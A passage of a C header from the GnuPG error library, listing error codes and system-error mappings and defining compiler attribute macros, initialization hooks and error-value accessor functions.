181, GPG_ERR_TOO_MANY = 182, GPG_ERR_LIMIT_REACHED = 183, GPG_ERR_NOT_INITIALIZED = 184, GPG_ERR_MISSING_ISSUER_CERT = 185, GPG_ERR_NO_KEYSERVER = 186, GPG_ERR_INV_CURVE = 187, GPG_ERR_UNKNOWN_CURVE = 188, GPG_ERR_DUP_KEY = 189, GPG_ERR_AMBIGUOUS = 190, GPG_ERR_NO_CRYPT_CTX = 191, GPG_ERR_WRONG_CRYPT_CTX = 192, GPG_ERR_BAD_CRYPT_CTX = 193, GPG_ERR_CRYPT_CTX_CONFLICT = 194, GPG_ERR_BROKEN_PUBKEY = 195, GPG_ERR_BROKEN_SECKEY = 196, GPG_ERR_MAC_ALGO = 197, GPG_ERR_FULLY_CANCELED = 198, GPG_ERR_UNFINISHED = 199, GPG_ERR_BUFFER_TOO_SHORT = 200, GPG_ERR_SEXP_INV_LEN_SPEC = 201, GPG_ERR_SEXP_STRING_TOO_LONG = 202, GPG_ERR_SEXP_UNMATCHED_PAREN = 203, GPG_ERR_SEXP_NOT_CANONICAL = 204, GPG_ERR_SEXP_BAD_CHARACTER = 205, GPG_ERR_SEXP_BAD_QUOTATION = 206, GPG_ERR_SEXP_ZERO_PREFIX = 207, GPG_ERR_SEXP_NESTED_DH = 208, GPG_ERR_SEXP_UNMATCHED_DH = 209, GPG_ERR_SEXP_UNEXPECTED_PUNC = 210, GPG_ERR_SEXP_BAD_HEX_CHAR = 211, GPG_ERR_SEXP_ODD_HEX_NUMBERS = 212, GPG_ERR_SEXP_BAD_OCT_CHAR = 213, GPG_ERR_SUBKEYS_EXP_OR_REV = 217, GPG_ERR_DB_CORRUPTED = 218, GPG_ERR_SERVER_FAILED = 219, GPG_ERR_NO_NAME = 220, GPG_ERR_NO_KEY = 221, GPG_ERR_LEGACY_KEY = 222, GPG_ERR_REQUEST_TOO_SHORT = 223, GPG_ERR_REQUEST_TOO_LONG = 224, GPG_ERR_OBJ_TERM_STATE = 225, GPG_ERR_NO_CERT_CHAIN = 226, GPG_ERR_CERT_TOO_LARGE = 227, GPG_ERR_INV_RECORD = 228, GPG_ERR_BAD_MAC = 229, GPG_ERR_UNEXPECTED_MSG = 230, GPG_ERR_COMPR_FAILED = 231, GPG_ERR_WOULD_WRAP = 232, GPG_ERR_FATAL_ALERT = 233, GPG_ERR_NO_CIPHER = 234, GPG_ERR_MISSING_CLIENT_CERT = 235, GPG_ERR_CLOSE_NOTIFY = 236, GPG_ERR_TICKET_EXPIRED = 237, GPG_ERR_BAD_TICKET = 238, GPG_ERR_UNKNOWN_IDENTITY = 239, GPG_ERR_BAD_HS_CERT = 240, GPG_ERR_BAD_HS_CERT_REQ = 241, GPG_ERR_BAD_HS_CERT_VER = 242, GPG_ERR_BAD_HS_CHANGE_CIPHER = 243, GPG_ERR_BAD_HS_CLIENT_HELLO = 244, GPG_ERR_BAD_HS_SERVER_HELLO = 245, GPG_ERR_BAD_HS_SERVER_HELLO_DONE = 246, GPG_ERR_BAD_HS_FINISHED = 247, GPG_ERR_BAD_HS_SERVER_KEX = 248, GPG_ERR_BAD_HS_CLIENT_KEX = 249, GPG_ERR_BOGUS_STRING = 250, GPG_ERR_FORBIDDEN = 251, GPG_ERR_KEY_DISABLED = 252, GPG_ERR_KEY_ON_CARD = 253, GPG_ERR_INV_LOCK_OBJ = 254, GPG_ERR_TRUE = 255, GPG_ERR_FALSE = 256, GPG_ERR_ASS_GENERAL = 257, GPG_ERR_ASS_ACCEPT_FAILED = 258, GPG_ERR_ASS_CONNECT_FAILED = 259, GPG_ERR_ASS_INV_RESPONSE = 260, GPG_ERR_ASS_INV_VALUE = 261, GPG_ERR_ASS_INCOMPLETE_LINE = 262, GPG_ERR_ASS_LINE_TOO_LONG = 263, GPG_ERR_ASS_NESTED_COMMANDS = 264, GPG_ERR_ASS_NO_DATA_CB = 265, GPG_ERR_ASS_NO_INQUIRE_CB = 266, GPG_ERR_ASS_NOT_A_SERVER = 267, GPG_ERR_ASS_NOT_A_CLIENT = 268, GPG_ERR_ASS_SERVER_START = 269, GPG_ERR_ASS_READ_ERROR = 270, GPG_ERR_ASS_WRITE_ERROR = 271, GPG_ERR_ASS_TOO_MUCH_DATA = 273, GPG_ERR_ASS_UNEXPECTED_CMD = 274, GPG_ERR_ASS_UNKNOWN_CMD = 275, GPG_ERR_ASS_SYNTAX = 276, GPG_ERR_ASS_CANCELED = 277, GPG_ERR_ASS_NO_INPUT = 278, GPG_ERR_ASS_NO_OUTPUT = 279, GPG_ERR_ASS_PARAMETER = 280, GPG_ERR_ASS_UNKNOWN_INQUIRE = 281, GPG_ERR_ENGINE_TOO_OLD = 300, GPG_ERR_WINDOW_TOO_SMALL = 301, GPG_ERR_WINDOW_TOO_LARGE = 302, GPG_ERR_MISSING_ENVVAR = 303, GPG_ERR_USER_ID_EXISTS = 304, GPG_ERR_NAME_EXISTS = 305, GPG_ERR_DUP_NAME = 306, GPG_ERR_TOO_YOUNG = 307, GPG_ERR_TOO_OLD = 308, GPG_ERR_UNKNOWN_FLAG = 309, GPG_ERR_INV_ORDER = 310, GPG_ERR_ALREADY_FETCHED = 311, GPG_ERR_TRY_LATER = 312, GPG_ERR_WRONG_NAME = 313, GPG_ERR_SYSTEM_BUG = 666, GPG_ERR_DNS_UNKNOWN = 711, GPG_ERR_DNS_SECTION = 712, GPG_ERR_DNS_ADDRESS = 713, GPG_ERR_DNS_NO_QUERY = 714, GPG_ERR_DNS_NO_ANSWER = 715, GPG_ERR_DNS_CLOSED = 716, GPG_ERR_DNS_VERIFY = 717, GPG_ERR_DNS_TIMEOUT = 718, GPG_ERR_LDAP_GENERAL = 721, GPG_ERR_LDAP_ATTR_GENERAL = 722, GPG_ERR_LDAP_NAME_GENERAL = 723, GPG_ERR_LDAP_SECURITY_GENERAL = 724, GPG_ERR_LDAP_SERVICE_GENERAL = 725, GPG_ERR_LDAP_UPDATE_GENERAL = 726, GPG_ERR_LDAP_E_GENERAL = 727, GPG_ERR_LDAP_X_GENERAL = 728, GPG_ERR_LDAP_OTHER_GENERAL = 729, GPG_ERR_LDAP_X_CONNECTING = 750, GPG_ERR_LDAP_REFERRAL_LIMIT = 751, GPG_ERR_LDAP_CLIENT_LOOP = 752, GPG_ERR_LDAP_NO_RESULTS = 754, GPG_ERR_LDAP_CONTROL_NOT_FOUND = 755, GPG_ERR_LDAP_NOT_SUPPORTED = 756, GPG_ERR_LDAP_CONNECT = 757, GPG_ERR_LDAP_NO_MEMORY = 758, GPG_ERR_LDAP_PARAM = 759, GPG_ERR_LDAP_USER_CANCELLED = 760, GPG_ERR_LDAP_FILTER = 761, GPG_ERR_LDAP_AUTH_UNKNOWN = 762, GPG_ERR_LDAP_TIMEOUT = 763, GPG_ERR_LDAP_DECODING = 764, GPG_ERR_LDAP_ENCODING = 765, GPG_ERR_LDAP_LOCAL = 766, GPG_ERR_LDAP_SERVER_DOWN = 767, GPG_ERR_LDAP_SUCCESS = 768, GPG_ERR_LDAP_OPERATIONS = 769, GPG_ERR_LDAP_PROTOCOL = 770, GPG_ERR_LDAP_TIMELIMIT = 771, GPG_ERR_LDAP_SIZELIMIT = 772, GPG_ERR_LDAP_COMPARE_FALSE = 773, GPG_ERR_LDAP_COMPARE_TRUE = 774, GPG_ERR_LDAP_UNSUPPORTED_AUTH = 775, GPG_ERR_LDAP_STRONG_AUTH_RQRD = 776, GPG_ERR_LDAP_PARTIAL_RESULTS = 777, GPG_ERR_LDAP_REFERRAL = 778, GPG_ERR_LDAP_ADMINLIMIT = 779, GPG_ERR_LDAP_UNAVAIL_CRIT_EXTN = 780, GPG_ERR_LDAP_CONFIDENT_RQRD = 781, GPG_ERR_LDAP_SASL_BIND_INPROG = 782, GPG_ERR_LDAP_NO_SUCH_ATTRIBUTE = 784, GPG_ERR_LDAP_UNDEFINED_TYPE = 785, GPG_ERR_LDAP_BAD_MATCHING = 786, GPG_ERR_LDAP_CONST_VIOLATION = 787, GPG_ERR_LDAP_TYPE_VALUE_EXISTS = 788, GPG_ERR_LDAP_INV_SYNTAX = 789, GPG_ERR_LDAP_NO_SUCH_OBJ = 800, GPG_ERR_LDAP_ALIAS_PROBLEM = 801, GPG_ERR_LDAP_INV_DN_SYNTAX = 802, GPG_ERR_LDAP_IS_LEAF = 803, GPG_ERR_LDAP_ALIAS_DEREF = 804, GPG_ERR_LDAP_X_PROXY_AUTH_FAIL = 815, GPG_ERR_LDAP_BAD_AUTH = 816, GPG_ERR_LDAP_INV_CREDENTIALS = 817, GPG_ERR_LDAP_INSUFFICIENT_ACC = 818, GPG_ERR_LDAP_BUSY = 819, GPG_ERR_LDAP_UNAVAILABLE = 820, GPG_ERR_LDAP_UNWILL_TO_PERFORM = 821, GPG_ERR_LDAP_LOOP_DETECT = 822, GPG_ERR_LDAP_NAMING_VIOLATION = 832, GPG_ERR_LDAP_OBJ_CLS_VIOLATION = 833, GPG_ERR_LDAP_NOT_ALLOW_NONLEAF = 834, GPG_ERR_LDAP_NOT_ALLOW_ON_RDN = 835, GPG_ERR_LDAP_ALREADY_EXISTS = 836, GPG_ERR_LDAP_NO_OBJ_CLASS_MODS = 837, GPG_ERR_LDAP_RESULTS_TOO_LARGE = 838, GPG_ERR_LDAP_AFFECTS_MULT_DSAS = 839, GPG_ERR_LDAP_VLV = 844, GPG_ERR_LDAP_OTHER = 848, GPG_ERR_LDAP_CUP_RESOURCE_LIMIT = 881, GPG_ERR_LDAP_CUP_SEC_VIOLATION = 882, GPG_ERR_LDAP_CUP_INV_DATA = 883, GPG_ERR_LDAP_CUP_UNSUP_SCHEME = 884, GPG_ERR_LDAP_CUP_RELOAD = 885, GPG_ERR_LDAP_CANCELLED = 886, GPG_ERR_LDAP_NO_SUCH_OPERATION = 887, GPG_ERR_LDAP_TOO_LATE = 888, GPG_ERR_LDAP_CANNOT_CANCEL = 889, GPG_ERR_LDAP_ASSERTION_FAILED = 890, GPG_ERR_LDAP_PROX_AUTH_DENIED = 891, GPG_ERR_USER_1 = 1024, GPG_ERR_USER_2 = 1025, GPG_ERR_USER_3 = 1026, GPG_ERR_USER_4 = 1027, GPG_ERR_USER_5 = 1028, GPG_ERR_USER_6 = 1029, GPG_ERR_USER_7 = 1030, GPG_ERR_USER_8 = 1031, GPG_ERR_USER_9 = 1032, GPG_ERR_USER_10 = 1033, GPG_ERR_USER_11 = 1034, GPG_ERR_USER_12 = 1035, GPG_ERR_USER_13 = 1036, GPG_ERR_USER_14 = 1037, GPG_ERR_USER_15 = 1038, GPG_ERR_USER_16 = 1039, GPG_ERR_MISSING_ERRNO = 16381, GPG_ERR_UNKNOWN_ERRNO = 16382, GPG_ERR_EOF = 16383, /* The following error codes are used to map system errors. */ #define GPG_ERR_SYSTEM_ERROR (1 << 15) GPG_ERR_E2BIG = GPG_ERR_SYSTEM_ERROR | 0, GPG_ERR_EACCES = GPG_ERR_SYSTEM_ERROR | 1, GPG_ERR_EADDRINUSE = GPG_ERR_SYSTEM_ERROR | 2, GPG_ERR_EADDRNOTAVAIL = GPG_ERR_SYSTEM_ERROR | 3, GPG_ERR_EADV = GPG_ERR_SYSTEM_ERROR | 4, GPG_ERR_EAFNOSUPPORT = GPG_ERR_SYSTEM_ERROR | 5, GPG_ERR_EAGAIN = GPG_ERR_SYSTEM_ERROR | 6, GPG_ERR_EALREADY = GPG_ERR_SYSTEM_ERROR | 7, GPG_ERR_EAUTH = GPG_ERR_SYSTEM_ERROR | 8, GPG_ERR_EBACKGROUND = GPG_ERR_SYSTEM_ERROR | 9, GPG_ERR_EBADE = GPG_ERR_SYSTEM_ERROR | 10, GPG_ERR_EBADF = GPG_ERR_SYSTEM_ERROR | 11, GPG_ERR_EBADFD = GPG_ERR_SYSTEM_ERROR | 12, GPG_ERR_EBADMSG = GPG_ERR_SYSTEM_ERROR | 13, GPG_ERR_EBADR = GPG_ERR_SYSTEM_ERROR | 14, GPG_ERR_EBADRPC = GPG_ERR_SYSTEM_ERROR | 15, GPG_ERR_EBADRQC = GPG_ERR_SYSTEM_ERROR | 16, GPG_ERR_EBADSLT = GPG_ERR_SYSTEM_ERROR | 17, GPG_ERR_EBFONT = GPG_ERR_SYSTEM_ERROR | 18, GPG_ERR_EBUSY = GPG_ERR_SYSTEM_ERROR | 19, GPG_ERR_ECANCELED = GPG_ERR_SYSTEM_ERROR | 20, GPG_ERR_ECHILD = GPG_ERR_SYSTEM_ERROR | 21, GPG_ERR_ECHRNG = GPG_ERR_SYSTEM_ERROR | 22, GPG_ERR_ECOMM = GPG_ERR_SYSTEM_ERROR | 23, GPG_ERR_ECONNABORTED = GPG_ERR_SYSTEM_ERROR | 24, GPG_ERR_ECONNREFUSED = GPG_ERR_SYSTEM_ERROR | 25, GPG_ERR_ECONNRESET = GPG_ERR_SYSTEM_ERROR | 26, GPG_ERR_ED = GPG_ERR_SYSTEM_ERROR | 27, GPG_ERR_EDEADLK = GPG_ERR_SYSTEM_ERROR | 28, GPG_ERR_EDEADLOCK = GPG_ERR_SYSTEM_ERROR | 29, GPG_ERR_EDESTADDRREQ = GPG_ERR_SYSTEM_ERROR | 30, GPG_ERR_EDIED = GPG_ERR_SYSTEM_ERROR | 31, GPG_ERR_EDOM = GPG_ERR_SYSTEM_ERROR | 32, GPG_ERR_EDOTDOT = GPG_ERR_SYSTEM_ERROR | 33, GPG_ERR_EDQUOT = GPG_ERR_SYSTEM_ERROR | 34, GPG_ERR_EEXIST = GPG_ERR_SYSTEM_ERROR | 35, GPG_ERR_EFAULT = GPG_ERR_SYSTEM_ERROR | 36, GPG_ERR_EFBIG = GPG_ERR_SYSTEM_ERROR | 37, GPG_ERR_EFTYPE = GPG_ERR_SYSTEM_ERROR | 38, GPG_ERR_EGRATUITOUS = GPG_ERR_SYSTEM_ERROR | 39, GPG_ERR_EGREGIOUS = GPG_ERR_SYSTEM_ERROR | 40, GPG_ERR_EHOSTDOWN = GPG_ERR_SYSTEM_ERROR | 41, GPG_ERR_EHOSTUNREACH = GPG_ERR_SYSTEM_ERROR | 42, GPG_ERR_EIDRM = GPG_ERR_SYSTEM_ERROR | 43, GPG_ERR_EIEIO = GPG_ERR_SYSTEM_ERROR | 44, GPG_ERR_EILSEQ = GPG_ERR_SYSTEM_ERROR | 45, GPG_ERR_EINPROGRESS = GPG_ERR_SYSTEM_ERROR | 46, GPG_ERR_EINTR = GPG_ERR_SYSTEM_ERROR | 47, GPG_ERR_EINVAL = GPG_ERR_SYSTEM_ERROR | 48, GPG_ERR_EIO = GPG_ERR_SYSTEM_ERROR | 49, GPG_ERR_EISCONN = GPG_ERR_SYSTEM_ERROR | 50, GPG_ERR_EISDIR = GPG_ERR_SYSTEM_ERROR | 51, GPG_ERR_EISNAM = GPG_ERR_SYSTEM_ERROR | 52, GPG_ERR_EL2HLT = GPG_ERR_SYSTEM_ERROR | 53, GPG_ERR_EL2NSYNC = GPG_ERR_SYSTEM_ERROR | 54, GPG_ERR_EL3HLT = GPG_ERR_SYSTEM_ERROR | 55, GPG_ERR_EL3RST = GPG_ERR_SYSTEM_ERROR | 56, GPG_ERR_ELIBACC = GPG_ERR_SYSTEM_ERROR | 57, GPG_ERR_ELIBBAD = GPG_ERR_SYSTEM_ERROR | 58, GPG_ERR_ELIBEXEC = GPG_ERR_SYSTEM_ERROR | 59, GPG_ERR_ELIBMAX = GPG_ERR_SYSTEM_ERROR | 60, GPG_ERR_ELIBSCN = GPG_ERR_SYSTEM_ERROR | 61, GPG_ERR_ELNRNG = GPG_ERR_SYSTEM_ERROR | 62, GPG_ERR_ELOOP = GPG_ERR_SYSTEM_ERROR | 63, GPG_ERR_EMEDIUMTYPE = GPG_ERR_SYSTEM_ERROR | 64, GPG_ERR_EMFILE = GPG_ERR_SYSTEM_ERROR | 65, GPG_ERR_EMLINK = GPG_ERR_SYSTEM_ERROR | 66, GPG_ERR_EMSGSIZE = GPG_ERR_SYSTEM_ERROR | 67, GPG_ERR_EMULTIHOP = GPG_ERR_SYSTEM_ERROR | 68, GPG_ERR_ENAMETOOLONG = GPG_ERR_SYSTEM_ERROR | 69, GPG_ERR_ENAVAIL = GPG_ERR_SYSTEM_ERROR | 70, GPG_ERR_ENEEDAUTH = GPG_ERR_SYSTEM_ERROR | 71, GPG_ERR_ENETDOWN = GPG_ERR_SYSTEM_ERROR | 72, GPG_ERR_ENETRESET = GPG_ERR_SYSTEM_ERROR | 73, GPG_ERR_ENETUNREACH = GPG_ERR_SYSTEM_ERROR | 74, GPG_ERR_ENFILE = GPG_ERR_SYSTEM_ERROR | 75, GPG_ERR_ENOANO = GPG_ERR_SYSTEM_ERROR | 76, GPG_ERR_ENOBUFS = GPG_ERR_SYSTEM_ERROR | 77, GPG_ERR_ENOCSI = GPG_ERR_SYSTEM_ERROR | 78, GPG_ERR_ENODATA = GPG_ERR_SYSTEM_ERROR | 79, GPG_ERR_ENODEV = GPG_ERR_SYSTEM_ERROR | 80, GPG_ERR_ENOENT = GPG_ERR_SYSTEM_ERROR | 81, GPG_ERR_ENOEXEC = GPG_ERR_SYSTEM_ERROR | 82, GPG_ERR_ENOLCK = GPG_ERR_SYSTEM_ERROR | 83, GPG_ERR_ENOLINK = GPG_ERR_SYSTEM_ERROR | 84, GPG_ERR_ENOMEDIUM = GPG_ERR_SYSTEM_ERROR | 85, GPG_ERR_ENOMEM = GPG_ERR_SYSTEM_ERROR | 86, GPG_ERR_ENOMSG = GPG_ERR_SYSTEM_ERROR | 87, GPG_ERR_ENONET = GPG_ERR_SYSTEM_ERROR | 88, GPG_ERR_ENOPKG = GPG_ERR_SYSTEM_ERROR | 89, GPG_ERR_ENOPROTOOPT = GPG_ERR_SYSTEM_ERROR | 90, GPG_ERR_ENOSPC = GPG_ERR_SYSTEM_ERROR | 91, GPG_ERR_ENOSR = GPG_ERR_SYSTEM_ERROR | 92, GPG_ERR_ENOSTR = GPG_ERR_SYSTEM_ERROR | 93, GPG_ERR_ENOSYS = GPG_ERR_SYSTEM_ERROR | 94, GPG_ERR_ENOTBLK = GPG_ERR_SYSTEM_ERROR | 95, GPG_ERR_ENOTCONN = GPG_ERR_SYSTEM_ERROR | 96, GPG_ERR_ENOTDIR = GPG_ERR_SYSTEM_ERROR | 97, GPG_ERR_ENOTEMPTY = GPG_ERR_SYSTEM_ERROR | 98, GPG_ERR_ENOTNAM = GPG_ERR_SYSTEM_ERROR | 99, GPG_ERR_ENOTSOCK = GPG_ERR_SYSTEM_ERROR | 100, GPG_ERR_ENOTSUP = GPG_ERR_SYSTEM_ERROR | 101, GPG_ERR_ENOTTY = GPG_ERR_SYSTEM_ERROR | 102, GPG_ERR_ENOTUNIQ = GPG_ERR_SYSTEM_ERROR | 103, GPG_ERR_ENXIO = GPG_ERR_SYSTEM_ERROR | 104, GPG_ERR_EOPNOTSUPP = GPG_ERR_SYSTEM_ERROR | 105, GPG_ERR_EOVERFLOW = GPG_ERR_SYSTEM_ERROR | 106, GPG_ERR_EPERM = GPG_ERR_SYSTEM_ERROR | 107, GPG_ERR_EPFNOSUPPORT = GPG_ERR_SYSTEM_ERROR | 108, GPG_ERR_EPIPE = GPG_ERR_SYSTEM_ERROR | 109, GPG_ERR_EPROCLIM = GPG_ERR_SYSTEM_ERROR | 110, GPG_ERR_EPROCUNAVAIL = GPG_ERR_SYSTEM_ERROR | 111, GPG_ERR_EPROGMISMATCH = GPG_ERR_SYSTEM_ERROR | 112, GPG_ERR_EPROGUNAVAIL = GPG_ERR_SYSTEM_ERROR | 113, GPG_ERR_EPROTO = GPG_ERR_SYSTEM_ERROR | 114, GPG_ERR_EPROTONOSUPPORT = GPG_ERR_SYSTEM_ERROR | 115, GPG_ERR_EPROTOTYPE = GPG_ERR_SYSTEM_ERROR | 116, GPG_ERR_ERANGE = GPG_ERR_SYSTEM_ERROR | 117, GPG_ERR_EREMCHG = GPG_ERR_SYSTEM_ERROR | 118, GPG_ERR_EREMOTE = GPG_ERR_SYSTEM_ERROR | 119, GPG_ERR_EREMOTEIO = GPG_ERR_SYSTEM_ERROR | 120, GPG_ERR_ERESTART = GPG_ERR_SYSTEM_ERROR | 121, GPG_ERR_EROFS = GPG_ERR_SYSTEM_ERROR | 122, GPG_ERR_ERPCMISMATCH = GPG_ERR_SYSTEM_ERROR | 123, GPG_ERR_ESHUTDOWN = GPG_ERR_SYSTEM_ERROR | 124, GPG_ERR_ESOCKTNOSUPPORT = GPG_ERR_SYSTEM_ERROR | 125, GPG_ERR_ESPIPE = GPG_ERR_SYSTEM_ERROR | 126, GPG_ERR_ESRCH = GPG_ERR_SYSTEM_ERROR | 127, GPG_ERR_ESRMNT = GPG_ERR_SYSTEM_ERROR | 128, GPG_ERR_ESTALE = GPG_ERR_SYSTEM_ERROR | 129, GPG_ERR_ESTRPIPE = GPG_ERR_SYSTEM_ERROR | 130, GPG_ERR_ETIME = GPG_ERR_SYSTEM_ERROR | 131, GPG_ERR_ETIMEDOUT = GPG_ERR_SYSTEM_ERROR | 132, GPG_ERR_ETOOMANYREFS = GPG_ERR_SYSTEM_ERROR | 133, GPG_ERR_ETXTBSY = GPG_ERR_SYSTEM_ERROR | 134, GPG_ERR_EUCLEAN = GPG_ERR_SYSTEM_ERROR | 135, GPG_ERR_EUNATCH = GPG_ERR_SYSTEM_ERROR | 136, GPG_ERR_EUSERS = GPG_ERR_SYSTEM_ERROR | 137, GPG_ERR_EWOULDBLOCK = GPG_ERR_SYSTEM_ERROR | 138, GPG_ERR_EXDEV = GPG_ERR_SYSTEM_ERROR | 139, GPG_ERR_EXFULL = GPG_ERR_SYSTEM_ERROR | 140, /* This is one more than the largest allowed entry. */ GPG_ERR_CODE_DIM = 65536 } gpg_err_code_t; /* The error value type gpg_error_t. */ /* We would really like to use bit-fields in a struct, but using * structs as return values can cause binary compatibility issues, in * particular if you want to do it efficiently (also see * -freg-struct-return option to GCC). */ typedef unsigned int gpg_error_t; /* We use the lowest 16 bits of gpg_error_t for error codes. The 16th * bit indicates system errors. */ #define GPG_ERR_CODE_MASK (GPG_ERR_CODE_DIM - 1) /* Bits 17 to 24 are reserved. */ /* We use the upper 7 bits of gpg_error_t for error sources. */ #define GPG_ERR_SOURCE_MASK (GPG_ERR_SOURCE_DIM - 1) #define GPG_ERR_SOURCE_SHIFT 24 /* The highest bit is reserved. It shouldn't be used to prevent * potential negative numbers when transmitting error values as * text. */ /* * GCC feature test. */ #if __GNUC__ # define _GPG_ERR_GCC_VERSION (__GNUC__ * 10000 \ + __GNUC_MINOR__ * 100 \ + __GNUC_PATCHLEVEL__) #else # define _GPG_ERR_GCC_VERSION 0 #endif #undef _GPG_ERR_HAVE_CONSTRUCTOR #if _GPG_ERR_GCC_VERSION > 30100 # define _GPG_ERR_CONSTRUCTOR __attribute__ ((__constructor__)) # define _GPG_ERR_HAVE_CONSTRUCTOR #else # define _GPG_ERR_CONSTRUCTOR #endif #define GPGRT_GCC_VERSION _GPG_ERR_GCC_VERSION #if _GPG_ERR_GCC_VERSION >= 29200 # define _GPGRT__RESTRICT __restrict__ #else # define _GPGRT__RESTRICT #endif /* The noreturn attribute. */ #if _GPG_ERR_GCC_VERSION >= 20500 # define GPGRT_ATTR_NORETURN __attribute__ ((noreturn)) #else # define GPGRT_ATTR_NORETURN #endif /* The printf attributes. */ #if _GPG_ERR_GCC_VERSION >= 40400 # define GPGRT_ATTR_PRINTF(f, a) \ __attribute__ ((format(__gnu_printf__,f,a))) # define GPGRT_ATTR_NR_PRINTF(f, a) \ __attribute__ ((noreturn, format(__gnu_printf__,f,a))) #elif _GPG_ERR_GCC_VERSION >= 20500 # define GPGRT_ATTR_PRINTF(f, a) \ __attribute__ ((format(printf,f,a))) # define GPGRT_ATTR_NR_PRINTF(f, a) \ __attribute__ ((noreturn, format(printf,f,a))) #else # define GPGRT_ATTR_PRINTF(f, a) # define GPGRT_ATTR_NR_PRINTF(f, a) #endif #if _GPG_ERR_GCC_VERSION >= 20800 # define GPGRT_ATTR_FORMAT_ARG(a) __attribute__ ((__format_arg__ (a))) #else # define GPGRT_ATTR_FORMAT_ARG(a) #endif /* The sentinel attribute. */ #if _GPG_ERR_GCC_VERSION >= 40000 # define GPGRT_ATTR_SENTINEL(a) __attribute__ ((sentinel(a))) #else # define GPGRT_ATTR_SENTINEL(a) #endif /* The used and unused attributes. * I am not sure since when the unused attribute is really supported. * In any case it it only needed for gcc versions which print a * warning. Thus let us require gcc >= 3.5. */ #if _GPG_ERR_GCC_VERSION >= 40000 # define GPGRT_ATTR_USED __attribute__ ((used)) #else # define GPGRT_ATTR_USED #endif #if _GPG_ERR_GCC_VERSION >= 30500 # define GPGRT_ATTR_UNUSED __attribute__ ((unused)) #else # define GPGRT_ATTR_UNUSED #endif /* The deprecated attribute. */ #if _GPG_ERR_GCC_VERSION >= 30100 # define GPGRT_ATTR_DEPRECATED __attribute__ ((__deprecated__)) #else # define GPGRT_ATTR_DEPRECATED #endif /* The pure attribute. */ #if _GPG_ERR_GCC_VERSION >= 29600 # define GPGRT_ATTR_PURE __attribute__ ((__pure__)) #else # define GPGRT_ATTR_PURE #endif /* The malloc attribute. */ #if _GPG_ERR_GCC_VERSION >= 30200 # define GPGRT_ATTR_MALLOC __attribute__ ((__malloc__)) #else # define GPGRT_ATTR_MALLOC #endif /* A macro defined if a GCC style __FUNCTION__ macro is available. */ #undef GPGRT_HAVE_MACRO_FUNCTION #if _GPG_ERR_GCC_VERSION >= 20500 # define GPGRT_HAVE_MACRO_FUNCTION 1 #endif /* A macro defined if the pragma GCC push_options is available. */ #undef GPGRT_HAVE_PRAGMA_GCC_PUSH #if _GPG_ERR_GCC_VERSION >= 40400 # define GPGRT_HAVE_PRAGMA_GCC_PUSH 1 #endif /* Detect LeakSanitizer (LSan) support for GCC and Clang based on * whether AddressSanitizer (ASAN) is enabled via -fsanitize=address). * Note that -fsanitize=leak just affect the linker options which * cannot be detected here. In that case you have to define the * GPGRT_HAVE_LEAK_SANITIZER macro manually. */ #ifdef __GNUC__ # ifdef __SANITIZE_ADDRESS__ # define GPGRT_HAVE_LEAK_SANITIZER # elif defined(__has_feature) # if __has_feature(address_sanitizer) # define GPGRT_HAVE_LEAK_SANITIZER # endif # endif #endif /* The new name for the inline macro. */ #define GPGRT_INLINE GPG_ERR_INLINE #ifdef GPGRT_HAVE_LEAK_SANITIZER # include <sanitizer/lsan_interface.h> #endif /* Mark heap objects as non-leaked memory. */ static GPGRT_INLINE void gpgrt_annotate_leaked_object (const void *p) { #ifdef GPGRT_HAVE_LEAK_SANITIZER __lsan_ignore_object(p); #else (void)p; #endif } /* * Initialization function. */ /* Initialize the library. This function should be run early. */ gpg_error_t gpg_err_init (void) _GPG_ERR_CONSTRUCTOR; /* If this is defined, the library is already initialized by the constructor and does not need to be initialized explicitely. */ #undef GPG_ERR_INITIALIZED #ifdef _GPG_ERR_HAVE_CONSTRUCTOR # define GPG_ERR_INITIALIZED 1 # define gpgrt_init() do { gpg_err_init (); } while (0) #else # define gpgrt_init() do { ; } while (0) #endif /* See the source on how to use the deinit function; it is usually not required. */ void gpg_err_deinit (int mode); /* Register blocking system I/O clamping functions. */ void gpgrt_set_syscall_clamp (void (*pre)(void), void (*post)(void)); /* Get current I/O clamping functions. */ void gpgrt_get_syscall_clamp (void (**r_pre)(void), void (**r_post)(void)); /* Register a custom malloc/realloc/free function. */ void gpgrt_set_alloc_func (void *(*f)(void *a, size_t n)); /* * Constructor and accessor functions. */ /* Construct an error value from an error code and source. Within a * subsystem, use gpg_error. */ static GPG_ERR_INLINE gpg_error_t gpg_err_make (gpg_err_source_t source, gpg_err_code_t code) { return code == GPG_ERR_NO_ERROR ? GPG_ERR_NO_ERROR : (((source & GPG_ERR_SOURCE_MASK) << GPG_ERR_SOURCE_SHIFT) | (code & GPG_ERR_CODE_MASK)); } /* The user should define GPG_ERR_SOURCE_DEFAULT before including this * file to specify a default source for gpg_error. */ #ifndef GPG_ERR_SOURCE_DEFAULT #define GPG_ERR_SOURCE_DEFAULT GPG_ERR_SOURCE_UNKNOWN #endif static GPG_ERR_INLINE gpg_error_t gpg_error (gpg_err_code_t code) { return gpg_err_make (GPG_ERR_SOURCE_DEFAULT, code); } /* Retrieve the error code from an error value. */ static GPG_ERR_INLINE gpg_err_code_t gpg_err_code (gpg_error_t err) { return (gpg_err_code_t) (err & GPG_ERR_CODE_MASK); } /* Retrieve the error source from an error value. */ static GPG_ERR_INLINE gpg_err_source_t gpg_err_source (gpg_error_t err) { return (gpg_err_source_t) ((err >> GPG_ERR_SOURCE_SHIFT) & GPG_ERR_SOURCE_MASK); } /* String functions. */ /* Return a pointer to a string containing a description of the error * code in the error value ERR. This function is not thread-safe. */ const char *gpg_strerror (gpg_error_t err); /* Return the error string for ERR in the user-supplied buffer BUF of * size BUFLEN. This function is, in contrast to gpg_strerror, * thread-safe if a thread-safe strerror_r() function is provided by * the system. If the function succeeds, 0 is returned and BUF * contains the string describing the error. If the buffer was not * large enough, ERANGE is returned and BUF contains as much of the * beginning of the error string as fits into the buffer. */ int gpg_strerror_r (gpg_error_t err, char *buf, size_t buflen); /* Return a pointer to a string containing a description of the error * source in the error value ERR. */ const char *gpg_strsource (gpg_error_t err); /* * Mapping of system errors (errno). */ /* Retrieve the error code for the system error ERR. This returns * GPG_ERR_UNKNOWN_ERRNO if the system error is not mapped (report * this). */ gpg_err_code_t gpg_err_code_from_errno (int err); /* Retrieve the system error for the error code CODE. This returns 0 * if CODE is not a system error code. */ int gpg_err_code_to_errno (gpg_err_code_t code); /* Retrieve the error code directly from the ERRNO variable. This * returns GPG_ERR_UNKNOWN_ERRNO if the system error is not mapped * (report this) and GPG_ERR_MISSING_ERRNO if ERRNO has the value 0. */ gpg_err_code_t gpg_err_code_from_syserror (void); /* Set the 